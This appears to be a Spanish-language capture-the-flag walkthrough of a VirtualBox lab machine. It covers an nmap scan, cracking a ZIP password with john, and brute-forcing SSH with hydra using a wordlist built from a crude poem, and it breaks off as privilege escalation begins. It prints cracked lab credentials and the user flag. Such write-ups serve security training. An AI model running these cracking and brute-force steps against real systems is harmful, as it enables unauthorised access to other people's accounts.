Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 03:10 EDT
Nmap scan report for 192.168.1.173
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 9e:41:5a:43:d8:b3:31:18:0f:2e:32:36:cf:68:c4:b7 (RSA)
| 256 6f:24:81:b4:3d:e5:b9:c8:47:bf:b2:8b:bf:41:2d:51 (ECDSA)
|_ 256 49:5f:c0:7a:42:20:76:76:d5:29:1a:65:bf:87:d2:24 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:52:5E:CB (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.80 seconds
Veremos que tenemos una pagina web alojada en el puerto 80 pero si entramos dentro de la misma no veremos nada, por lo que vamos a realizar un poco de fuzzing para ver que encontramos.
Vemos que esta codificado en Base85 pero si lo decodificamos veremos lo siguiente:
salome doesn't want me, I'm so sad... i'm sure god is dead...
I drank 6 liters of Paulaner.... too drunk lol. I'll write her a poem and she'll desire me. I'll name it salome_and_?? I don't know.
I must not forget to save it and put a good extension because I don't have much storage.
Vemos que la palabra que estamos buscando es salome_and_ y algo mas, tendria sentido poner salome_and_me y la extension, si probamos con .txt no va a servir, despues las de .html tampoco, etc... Pero si probamos con .zip veremos que si nos funciona.
wget http://<IP>/salome_and_me.zip
Si intentamos descomprimirlo veremos que nos pide una contraseña, por lo que tendremos que crackearla de la siguiente forma:
zip2john
zip2john salome_and_me.zip > hash.zip
john --wordlist=<WORDLIST> hash.zip
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
turtle (salome_and_me.zip/salome_and_me.txt)
1g 0:00:00:00 DONE (2025-04-11 03:32) 33.33g/s 136533p/s 136533c/s 136533C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que ha funcionado y la contraseña sera turtle por lo que vamos a probarla.
unzip salome_and_me.zip
Metemos como contraseña turtle y veremos que nos descomprime un archivo llamado salome_and_me.txt que si vemos que contiene:
----------------------------------------------------
GREAT POEM FOR SALOME
----------------------------------------------------
My name is fred,
And tonight I'm sad, lonely and scared,
Because my love Salome prefers schopenhauer, asshole,
I hate him he's stupid, ugly and a peephole,
My darling I offered you a great switch,
And now you reject my love, bitch
I don't give a fuck, I'll go with another lady,
And she'll call me BABY!
Vamos a crear un diccionario de palabras de contraseñas con dicho .txt sobre el usuario fred ya que en el texto pone que lo escribe un tal llamado fred.
Escalate user fred
Vamos a crear el siguiente diccionario de la siguiente forma:
a
and
another
asshole
baby
because
bitch
call
darling
don
for
fred
fuck
give
go
great
hate
he
him
i
is
lady
ll
lonely
love
m
me
my
name
now
offered
peephole
poem
prefers
reject
s
sad
salome
scared
schopenhauer
she
stupid
switch
t
tonight
ugly
with
you
Hydra
hydra -l fred -P pass.txt ssh://<IP> -t 64 -I
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-11 03:38:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 49 tasks per 1 server, overall 49 tasks, 49 login tries (l:1/p:49), ~1 try per task
[DATA] attacking ssh://192.168.1.173:22/
[22][ssh] host: 192.168.1.173 login: fred password: schopenhauer
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 9 final worker threads did not complete until end.
[ERROR] 9 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-11 03:38:06
Veremos que ha funcionado, por lo que nos vamos a conectar por SSH de la siguiente forma:
ssh fred@<IP>
Metemos como contraseña schopenhauer y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
Ineedmorepower
Escalate Privileges
Si listamos las capabilities que tenemos con dicho usuario, veremos lo siguiente: